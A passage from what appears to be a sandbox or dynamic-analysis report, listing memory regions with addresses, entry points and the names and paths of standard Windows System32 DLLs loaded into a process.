0x7ffb081d1fff monitored = 0 entry_point = 0x7ffb081ab0c0 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 2519 start_va = 0x7ffb08b70000 end_va = 0x7ffb08c44fff monitored = 0 entry_point = 0x7ffb08b8cf80 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 2520 start_va = 0x7ffb09d20000 end_va = 0x7ffb09da1fff monitored = 0 entry_point = 0x7ffb09d21790 region_type = mapped_file name = "newdev.dll" filename = "\\Windows\\System32\\newdev.dll" (normalized: "c:\\windows\\system32\\newdev.dll") Region: id = 2521 start_va = 0x7ffb0ace0000 end_va = 0x7ffb0ad63fff monitored = 0 entry_point = 0x7ffb0acf2830 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 2522 start_va = 0x7ffb0aee0000 end_va = 0x7ffb0af46fff monitored = 0 entry_point = 0x7ffb0aeeb160 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 2523 start_va = 0x7ffb0af50000 end_va = 0x7ffb0b06cfff monitored = 0 entry_point = 0x7ffb0af7fe60 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 2524 start_va = 0x7ffb0b0a0000 end_va = 0x7ffb0b0b3fff monitored = 0 entry_point = 0x7ffb0b0a3710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 2525 start_va = 0x7ffb0b0c0000 end_va = 0x7ffb0b0e7fff monitored = 0 entry_point = 0x7ffb0b0cefc0 region_type = mapped_file name = "dssenh.dll" filename = "\\Windows\\System32\\dssenh.dll" (normalized: "c:\\windows\\system32\\dssenh.dll") Region: id = 2526 start_va = 0x7ffb0b0f0000 end_va = 0x7ffb0b144fff monitored = 0 entry_point = 0x7ffb0b10f870 region_type = mapped_file name = "ncryptprov.dll" filename = "\\Windows\\System32\\ncryptprov.dll" (normalized: "c:\\windows\\system32\\ncryptprov.dll") Region: id = 2527 start_va = 0x7ffb0b150000 end_va = 0x7ffb0b16dfff monitored = 0 entry_point = 0x7ffb0b15ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 2528 start_va = 0x7ffb0f350000 end_va = 0x7ffb0f5c9fff monitored = 0 entry_point = 0x7ffb0f36a7a0 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 2529 start_va = 0x7ffb0f6d0000 end_va = 0x7ffb0f6e5fff monitored = 0 entry_point = 0x7ffb0f6d1d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 2530 start_va = 0x7ffb0fb60000 end_va = 0x7ffb0fe99fff monitored = 0 entry_point = 0x7ffb0fb68520 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2531 start_va = 0x7ffb10f50000 end_va = 0x7ffb10fd3fff monitored = 0 entry_point = 0x7ffb10f68d50 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 2532 start_va = 0x7ffb10fe0000 end_va = 0x7ffb10ff5fff monitored = 0 entry_point = 0x7ffb10fe55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2533 start_va = 0x7ffb11000000 end_va = 0x7ffb110d5fff monitored = 0 entry_point = 0x7ffb1102a800 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 2534 start_va = 0x7ffb11930000 end_va = 0x7ffb11993fff monitored = 0 entry_point = 0x7ffb1194bed0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 2535 start_va = 0x7ffb119a0000 end_va = 0x7ffb119c4fff monitored = 0 entry_point = 0x7ffb119a9900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2536 start_va = 0x7ffb119d0000 end_va = 0x7ffb119e3fff monitored = 0 entry_point = 0x7ffb119d1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2537 start_va = 0x7ffb11a10000 end_va = 0x7ffb11b05fff monitored = 0 entry_point = 0x7ffb11a49590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2538 start_va = 0x7ffb11b10000 end_va = 0x7ffb11b83fff monitored = 0 entry_point = 0x7ffb11b25eb0 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 2539 start_va = 0x7ffb11b90000 end_va = 0x7ffb11cc6fff monitored = 0 entry_point = 0x7ffb11bd0480 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 2540 start_va = 0x7ffb11da0000 end_va = 0x7ffb11daefff monitored = 0 entry_point = 0x7ffb11da4960 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 2541 start_va = 0x7ffb12110000 end_va = 0x7ffb12120fff monitored = 0 entry_point = 0x7ffb12112fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2542 start_va = 0x7ffb12130000 end_va = 0x7ffb1214dfff monitored = 0 entry_point = 0x7ffb12133a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 2543 start_va = 0x7ffb12150000 end_va = 0x7ffb121d1fff monitored = 0 entry_point = 0x7ffb12152a10 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 2544 start_va = 0x7ffb122a0000 end_va = 0x7ffb122abfff monitored = 0 entry_point = 0x7ffb122a35c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2545 start_va = 0x7ffb122b0000 end_va = 0x7ffb122f5fff monitored = 0 entry_point = 0x7ffb122b79a0 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 2546 start_va = 0x7ffb12300000 end_va = 0x7ffb1233ffff monitored = 0 entry_point = 0x7ffb1230cbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 2547 start_va = 0x7ffb12340000 end_va = 0x7ffb12386fff monitored = 0 entry_point = 0x7ffb12341d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 2548 start_va = 0x7ffb123d0000 end_va = 0x7ffb123e0fff monitored = 0 entry_point = 0x7ffb123d7480 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 2549 start_va = 0x7ffb123f0000 end_va = 0x7ffb12405fff monitored = 0 entry_point = 0x7ffb123f1af0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2550 start_va = 0x7ffb12410000 end_va = 0x7ffb12429fff monitored = 0 entry_point = 0x7ffb12412330 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2551 start_va = 0x7ffb12430000 end_va = 0x7ffb1243cfff monitored = 0 entry_point = 0x7ffb12431420 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 2552 start_va = 0x7ffb12440000 end_va = 0x7ffb12481fff monitored = 0 entry_point = 0x7ffb12443670 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 2553 start_va = 0x7ffb12660000 end_va = 0x7ffb1269ffff monitored = 0 entry_point = 0x7ffb12676c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2554 start_va = 0x7ffb126a0000 end_va = 0x7ffb126befff monitored = 0 entry_point = 0x7ffb126a37e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 2555 start_va = 0x7ffb126c0000 end_va = 0x7ffb12738fff monitored = 0 entry_point = 0x7ffb126c76a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 2556 start_va = 0x7ffb12760000 end_va = 0x7ffb12777fff monitored = 0 entry_point = 0x7ffb12764e10 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 2557 start_va = 0x7ffb12780000 end_va = 0x7ffb127a4fff monitored = 0 entry_point = 0x7ffb12785ca0 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 2558 start_va = 0x7ffb128b0000 end_va = 0x7ffb12952fff monitored = 0 entry_point = 0x7ffb128b2c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 2559 start_va = 0x7ffb12960000 end_va = 0x7ffb129b1fff monitored = 0 entry_point = 0x7ffb12965770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 2560 start_va = 0x7ffb129c0000 end_va = 0x7ffb129edfff monitored = 1 entry_point = 0x7ffb129c2300 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 2561 start_va = 0x7ffb129f0000 end_va = 0x7ffb12a4dfff monitored = 0 entry_point = 0x7ffb129f5080 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 2562 start_va = 0x7ffb12a50000 end_va = 0x7ffb12a6ffff monitored = 0 entry_point = 0x7ffb12a51f50 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 2563 start_va = 0x7ffb12a70000 end_va = 0x7ffb12a78fff monitored = 0 entry_point = 0x7ffb12a718f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 2564 start_va = 0x7ffb12a80000 end_va = 0x7ffb12a90fff monitored = 0 entry_point = 0x7ffb12a81d30 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 2565 start_va = 0x7ffb12ac0000 end_va = 0x7ffb12b00fff monitored = 0 entry_point = 0x7ffb12ac3750 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 2566 start_va = 0x7ffb12b10000 end_va = 0x7ffb12c02fff monitored = 0 entry_point = 0x7ffb12b35d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 2567 start_va = 0x7ffb12c40000 end_va = 0x7ffb12c57fff monitored = 0 entry_point = 0x7ffb12c42000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 2568 start_va = 0x7ffb12c60000 end_va = 0x7ffb12de1fff monitored = 0 entry_point = 0x7ffb12c782a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 2569 start_va = 0x7ffb12e10000 end_va = 0x7ffb12e5bfff monitored = 0 entry_point = 0x7ffb12e25310 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 2570 start_va = 0x7ffb130c0000 end_va = 0x7ffb133b8fff monitored = 0 entry_point = 0x7ffb13187280 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 2571 start_va = 0x7ffb13440000 end_va = 0x7ffb134befff monitored = 0 entry_point = 0x7ffb13457110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2572 start_va = 0x7ffb134c0000 end_va = 0x7ffb134fbfff monitored = 0 entry_point = 0x7ffb134c6aa0 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 2573 start_va = 0x7ffb13640000 end_va = 0x7ffb13648fff monitored = 0 entry_point = 0x7ffb136421d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 2574 start_va = 0x7ffb136c0000 end_va = 0x7ffb136f4fff monitored = 0 entry_point = 0x7ffb136ca270 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 2575 start_va = 0x7ffb13d70000 end_va = 0x7ffb13d87fff monitored = 0 entry_point = 0x7ffb13d7b850 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 2576 start_va = 0x7ffb14600000 end_va = 0x7ffb14616fff monitored = 0 entry_point = 0x7ffb14607520 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 2577 start_va = 0x7ffb14770000 end_va = 0x7ffb14779fff monitored = 0 entry_point = 0x7ffb147714c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2578 start_va = 0x7ffb14930000 end_va = 0x7ffb1493ffff monitored = 0 entry_point = 0x7ffb14931700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 2579 start_va = 0x7ffb14940000 end_va = 0x7ffb14948fff monitored = 0 entry_point = 0x7ffb14941ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 2580 start_va = 0x7ffb14950000 end_va = 0x7ffb1497cfff monitored = 0 entry_point = 0x7ffb14952290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 2581 start_va = 0x7ffb14980000 end_va = 0x7ffb149d1fff monitored = 0 entry_point = 0x7ffb149838e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 2582 start_va = 0x7ffb14a80000 end_va = 0x7ffb14afffff monitored = 0 entry_point = 0x7ffb14aad280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2583 start_va = 0x7ffb14b00000 end_va = 0x7ffb14b11fff monitored = 0 entry_point = 0x7ffb14b03580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2584 start_va = 0x7ffb14b90000 end_va = 0x7ffb14baafff monitored = 0 entry_point = 0x7ffb14b91040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 2585 start_va = 0x7ffb14bb0000 end_va = 0x7ffb14bbdfff monitored = 0 entry_point = 0x7ffb14bb1460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2586 start_va = 0x7ffb14e50000 end_va = 0x7ffb14e64fff monitored = 0 entry_point = 0x7ffb14e52dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 2587 start_va = 0x7ffb14f20000 end_va = 0x7ffb14fb9fff monitored = 0 entry_point = 0x7ffb14f3ada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 2588 start_va = 0x7ffb14fc0000 end_va = 0x7ffb14fcbfff monitored = 0 entry_point = 0x7ffb14fc2830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 2589 start_va = 0x7ffb14fd0000 end_va = 0x7ffb14fd7fff monitored = 0 entry_point = 0x7ffb14fd13b0 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 2590 start_va = 0x7ffb14fe0000 end_va = 0x7ffb15046fff monitored = 0 entry_point = 0x7ffb14fe63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2591 start_va = 0x7ffb15060000 end_va = 0x7ffb15076fff monitored = 0 entry_point = 0x7ffb15066620 region_type = mapped_file name = "msauserext.dll" filename = "\\Windows\\System32\\msauserext.dll" (normalized: "c:\\windows\\system32\\msauserext.dll") Region: id = 2592 start_va = 0x7ffb150a0000 end_va = 0x7ffb150b4fff monitored = 0 entry_point = 0x7ffb150a3460 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 2593 start_va = 0x7ffb151c0000 end_va = 0x7ffb15224fff monitored = 0 entry_point = 0x7ffb151d3170 region_type = mapped_file name = "wuuhext.dll" filename = "\\Windows\\System32\\wuuhext.dll" (normalized: "c:\\windows\\system32\\wuuhext.dll") Region: id = 2594 start_va = 0x7ffb15320000 end_va = 0x7ffb153dffff monitored = 0 entry_point = 0x7ffb1534fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 2595 start_va = 0x7ffb153e0000 end_va = 0x7ffb153f9fff monitored = 0 entry_point = 0x7ffb153e2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2596 start_va = 0x7ffb15400000 end_va = 0x7ffb15415fff monitored = 0 entry_point = 0x7ffb154019f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2597 start_va = 0x7ffb15420000 end_va = 0x7ffb15457fff monitored = 0 entry_point = 0x7ffb15438cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2598 start_va = 0x7ffb15610000 end_va = 0x7ffb1561afff monitored = 0 entry_point = 0x7ffb15611d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2599 start_va = 0x7ffb15890000 end_va = 0x7ffb158a0fff monitored = 0 entry_point = 0x7ffb158928d0 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 2600 start_va = 0x7ffb158c0000 end_va = 0x7ffb158eefff monitored = 0 entry_point = 0x7ffb158cec60 region_type = mapped_file name = "cryptnet.dll" filename = "\\Windows\\System32\\cryptnet.dll" (normalized: "c:\\windows\\system32\\cryptnet.dll") Region: id = 2601 start_va = 0x7ffb15920000 end_va = 0x7ffb15933fff monitored = 0 entry_point = 0x7ffb15922d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2602 start_va = 0x7ffb159a0000 end_va = 0x7ffb159bcfff monitored = 0 entry_point = 0x7ffb159a4f60 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 2603 start_va = 0x7ffb159c0000 end_va = 0x7ffb159d2fff monitored = 0 entry_point = 0x7ffb159c1b10 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 2604 start_va = 0x7ffb159e0000 end_va = 0x7ffb15a01fff monitored = 0 entry_point = 0x7ffb159f2540 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 2605 start_va = 0x7ffb15a10000 end_va = 0x7ffb15a45fff monitored = 0 entry_point = 0x7ffb15a127f0 region_type = mapped_file name = "windows.networking.hostname.dll" filename = "\\Windows\\System32\\Windows.Networking.HostName.dll" (normalized: "c:\\windows\\system32\\windows.networking.hostname.dll") Region: id = 2606 start_va = 0x7ffb15cb0000 end_va = 0x7ffb15d42fff monitored = 0 entry_point = 0x7ffb15cb9680 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 2607 start_va = 0x7ffb15e70000 end_va = 0x7ffb15e88fff monitored = 0 entry_point = 0x7ffb15e74520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2608 start_va = 0x7ffb16330000 end_va = 0x7ffb163ddfff monitored = 0 entry_point = 0x7ffb163480c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 2609 start_va = 0x7ffb163e0000 end_va = 0x7ffb163f1fff monitored = 0 entry_point = 0x7ffb163e9260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 2610 start_va = 0x7ffb16400000 end_va = 0x7ffb164b0fff monitored = 0 entry_point = 0x7ffb164788b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 2611 start_va = 0x7ffb166a0000 end_va = 0x7ffb166c4fff monitored = 0 entry_point = 0x7ffb166b2f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 2612 start_va = 0x7ffb166d0000 end_va = 0x7ffb166e0fff monitored = 0 entry_point = 0x7ffb166d7ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 2613 start_va = 0x7ffb166f0000 end_va = 0x7ffb16706fff monitored = 0 entry_point = 0x7ffb166f5630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 2614 start_va = 0x7ffb168d0000 end_va = 0x7ffb16c51fff monitored = 0 entry_point = 0x7ffb16921220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2615 start_va = 0x7ffb17d50000 end_va = 0x7ffb17e5dfff monitored = 0 entry_point = 0x7ffb17d9eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 2616 start_va = 0x7ffb18160000 end_va = 0x7ffb18172fff monitored = 0 entry_point = 0x7ffb181657f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 2617 start_va = 0x7ffb18180000 end_va = 0x7ffb181f9fff monitored = 0 entry_point = 0x7ffb181a7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2618 start_va = 0x7ffb18200000 end_va = 0x7ffb1822dfff monitored = 0 entry_point = 0x7ffb18207550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 2619 start_va = 0x7ffb18230000 end_va = 0x7ffb18245fff monitored = 0 entry_point = 0x7ffb18231b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2620 start_va = 0x7ffb18250000 end_va = 0x7ffb182b3fff monitored = 0 entry_point = 0x7ffb18265ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2621 start_va = 0x7ffb18480000 end_va = 0x7ffb18499fff monitored = 0 entry_point = 0x7ffb18482cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 2622 start_va = 0x7ffb184a0000 end_va = 0x7ffb184abfff monitored = 0 entry_point = 0x7ffb184a14d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 2623 start_va = 0x7ffb184b0000 end_va = 0x7ffb18504fff monitored = 0 entry_point = 0x7ffb184b3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 2624 start_va = 0x7ffb18510000 end_va = 0x7ffb18546fff monitored = 0 entry_point = 0x7ffb18516020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 2625 start_va = 0x7ffb18550000 end_va = 0x7ffb1856ffff monitored = 0 entry_point = 0x7ffb185539a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 2626 start_va = 0x7ffb18570000 end_va = 0x7ffb18637fff monitored = 0 entry_point = 